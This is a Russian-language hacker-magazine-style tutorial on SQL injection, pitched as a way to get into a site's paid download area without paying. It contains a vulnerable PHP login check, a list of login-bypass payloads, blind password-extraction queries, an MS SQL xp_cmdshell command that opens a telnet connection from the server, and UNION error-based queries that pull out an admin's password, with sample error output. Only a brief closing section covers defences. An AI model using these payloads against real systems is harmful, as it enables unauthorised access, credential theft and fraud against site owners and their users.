Содержание статьи
SQL Injection достаточно хорошая возможность для хакера получить
доступ к серверу. И при небольшом усилии, он
все-таки его получает 🙂
Coder inside
В наше время работа с базами данных поддерживается
практически всеми языками программирования, к таким можно отнести BASIC, C++, Java, PERL, PHP, Assembler и даже JavaScript! А называются эти программы никак иначе как СУБД - системы управления базами данных. Зачастую базы данных применяются для решения финансовых задач,
бухгалтерии, организации кадров, но свое применение они нашли и в Интернете.
Базы данных часто используются для написания WEB-приложений. Их использование наиболее уместно для хранения пользовательских регистрационных данных, идентификаторов сессий, организации поиска, а также других задач требующих обработки большего
количества данных. Для обращения к БД используются серверные технологии: PHP, PERL, ASP, и т.д. Именно тут и начинается самое интересное. Когда на сервере
установлены все патчи, а брандмауэр блокирует все порты кроме 80-ого или когда требуется аутентификация для доступа к некоторым данным, для взлома хакер может использовать SQL Injection. Суть данной атаки заключается в использовании ошибки на стыке WEB технологий и SQL. Дело в том, что многие web страницы для обработки пользовательских данных, формируют специальный SQL запрос к БД. Неосторожное использование данной методики может привести к довольно интересным результатам...
SQL Injection
Для пояснения атаки представим себе, что ты зашел на сайт чтобы скачать одну очень важную тулзу и с ужасом замечаешь, что сделать это может только зарегистрированный пользователь, а регистрация, конечно же, стоит денег 🙂 Последние заработанные отдавать не хочется, а без программы никак! Самое время вспомнить о том как
обращаться к базам данных SQL. Например, проверка логина и пароля, на PHP может иметь следующий вид:
$result=mysql_db_query($db,"SELECT * FROM $table WHERE user='$login' AND
pass='$password'");
$num_rows=mysql_num_rows($result);
mysql_close($link);
if ($num_rows!=0)
{
// AUTHENTICATION OK
}
else
{
// AUTHENTICATION ERROR
}
Я добавил два комментария, "AUTHENTICATION OK " - вместо него должен
идти код, который исполнится в том случае, если пароль и логин верны. Другой "AUTHENTICATION ERROR " - место где будет описан код, исполняющийся в случае их неправильности. Если заполнить форму, то запрос получится похожим на "http://www.server.com?login=user&password=31337", где www.server.com имя
сервера, к которому мы пытаемся подключиться. Мы нашли то что искали, а по сему снова вернемся к работе SQL. Итак, если вы для авторизации должны указать логин и пароль, то сформированный SQL запрос будет иметь следующий вид:
SELECT * FROM users WHERE login='user' AND
password='31337'
Это значит примерно следующее: верни мне все записи из базы данных users у которых логин "user", а пароль "31337". Если существует такая запись, значит пользователь зарегистрирован, ну а если нет, то нет... Но при определенных обстоятельствах все можно исправить. Имеется ввиду ситуация, когда приложение не проверяет содержимое передаваемых данных или проверяет не полностью, на наличие SQL инструкций. В данном примере сверяются два поля login и password, но если в качестве пароля указать "31337' AND email='user@server.com"(без двойных кавычек), то запрос получится уже немного другим:
SELECT * FROM users WHERE login='user' AND password='31337' AND
email='user@server.com'
И в случае существования поля email это условие также будет проверено. Если вспомнить основы булевой алгебры, то приходит в голову что кроме операции "и" существует и "или", а поскольку их использование поддерживается SQL, можно выше
описанным способом добавить условие которое всегда возвращает истину. Для осуществления данного, необходимо в качестве логина указать "user' OR 1=1--", в таком случае запрос примет вид:
SELECT * FROM users WHERE login='user' OR 1=1--' AND
password='31337'
Для начала следует знать, что "--" означает конец запроса, и все после "--"
обрабатываться не будет! Получается, словно мы сделали запрос:
SELECT * FROM users WHERE login='user' OR 1=1
Как вы видите мы добавили условие "1=1", значит критерием проверки будет "если логин 'user' или 1=1", но ведь 1 всегда равно 1 (исключением может быть только арифметика Дани Шеповалова :)). Чтобы проверить наши подозрения
забиваем в адресной строке "http://www.server.com?login=user or 1=1--&password=31337". Это приводит к тому, что не играет роли какой именно логин мы указали, а
тем более пароль! И мы в матри... ой, в системе и можем спокойно качать то что нам необходимо.
Но это все в теории. На практике нам неизвестно каким образом формируется запрос, какие данные передаются и в какой последовательности. Поэтому необходимо указывать "user' OR 1=1--" для всех полей. Также следует проверить форму отправки на наличие скрытых полей. В HTML они описываются как "<INPUT TYPE=HIDDEN VALUE='значение' >". Если таковые существуют, сохраните страницу и поменяйте значения данных полей. Значения содержащиеся в них часто забывают проверять на наличие SQL инструкций. Но чтобы все заработало следует в форме (тэг "FORM") для параметра "ACTION" указать полный путь к скрипту, что обрабатывает данный запрос.
Но не всегда также известно как сформирован запрос,
прошлый пример можно было сформировать и следующими способами:
SELECT * FROM users WHERE (login='user' AND password='31337')
SELECT * FROM users WHERE login="user" AND password="31337"
SELECT * FROM users WHERE login=user AND password=31337
т.д.
В таком случае можно попробовать следующие варианты:
' OR 1=1--
" OR 1=1--
OR 1=1--
' OR 'a'='a
" OR "a"="a
') OR ('a'='a
OR '1'='1'
Все зависит от предназначения скрипта, и от программиста. Поскольку каждому человеку свойственно все делать по своему, то вполне возможно, что программист выберет не самый простой вариант. Поэтому не следует сразу
сдаваться, если вы получите отказ. Необходимо
испробовать как можно большее количество вариантов...
Password detection
Обходить авторизацию неплохо, но очень часто дырка которую вы используете закрывается, и все что было для вас доступно теряется.
Этого и следовало ожидать, если программист не дурак он
со временем прикроет все лазейки. От таких ситуаций можно легко избавится заранее позаботившись об этом. Правильным решением может стать угадывание пароля посредством
анализа результатов аутентификации. Для начала пробуем угадать пароль, для этого введем место него:
' OR password>'a
Если нам ответят, что авторизация пройдена, значит пароль
начинается не на букву "а", а на какую-то из следующих по списку. Двигаемся дальше и подставляем
место "a", следующие "b", "c", "d", "e"... и т.д. пока нам не ответят, что пароль не правильный. Пускай этот процесс остановился на символе "x", в таком случае создаются два варианта развития ситуации, пароль найден или же пароль начитается на этот символ. Чтобы проверить первый вариант пишем место пароля:
' OR password='x
и если пароль принят и тебя впустили, значит ты угадал пароль! Ну а нет, тогда следует подбирать уже второй символ,
точно так же, с начала. Для двух символов проверять
нужно так же. В конце концов, ты получишь пароль, а логин ищешь тем самым путем 🙂
В случае, если найденные пароль и логин тебя не устраивают, можешь отыскать и другие. Для этого необходимо начать проверку с последнего символа найденного пароля. Так, если пароль был "xxx" проверять необходимо существование пароля
"xxy":
' OR password='xxx
чтобы не упустить не один вариант!
MS SQL Server
MS SQL Server вообще находка, если упущена необходимая фильтрация. Используя уязвимость SQL Injection можно исполнять
команды на удаленном сервере с помощью exec master..xp_cmdshell. Но чтобы использовать эту конструкцию
необходимо завершить операцию "SELECT". В SQL инструкции разделяются точкой с запятой. Поэтому подключится к некоторому IP по Telnet'у, необходимо место пароля/логина набрать:
'; exec master..xp_cmdshell 'telnet 192.168.0.1' --
У MS SQL Server есть, еще несколько интересных особенностей, позволяющих узнать логины и пароли хранящиеся в базе данных. Для этого вывод об ошибках перенаправляется на произвольный сервер и посредствам их
анализа можно узнать название таблицы, полей и их типов. После чего можно запросом
' UNION SELECT TOP 1 login FROM users--
(login имя поля содержащего логин, а users - имя таблицы,
полуученые в процессе анализа ошибок).
Ответ может быть следующим:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin' to a column of data type int.
/default.asp, line 27
Теперь мы знаем, что есть пользователь с именем "admin". Теперь мы можем получить его пароль:
' UNION SELECT TOP 1 password FROM users where login='admin'--
Результат:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'xxx' to a column of data type int.
/tedault.asp, line 27
Теперь нам известно, что есть пользователь "admin" с паролем "xxx". Этим можно смело
воспользоваться и залогинится в систему 😉
Но для работы с SQL существует еще много других функций,
при работе с базой данных можно также удалять данные, модифицировать, вставлять свои и даже манипулировать файлами и работать с реестром.
В общем, SQL Server - рулит 🙂
Защита
Но этого всего естественно можно избежать. Для этого можно
воспользоваться фильтрами,
предоставляемыми производителями. Можно найти свои решения, например заменять все одинарные
кавычки двойными (если для SQL запроса мы пользуетесь одинарными), или наоборот. Можно разрешить только использование букв и с@баки, в случае если требуется ввести
электронный адрес. А еще в перле есть удивительная
функция 🙂 quote() в модуле DBI::DBD, которая успешно делает ваш запрос безопасным по отношению к SQL. Решений много, необходимо просто ими
воспользоваться. Иначе зачем тогда все это...
Links
http://www.wiretrip.net/rfp/txt/rfp2k01.txt
http://www.owasp.org/asac/input_validation/sql.shtml
http://www.4guysfromrolla.com/webtech/061902-1.shtml
http://www.securiteam.com/securityreviews/5DP0N1P76E.html
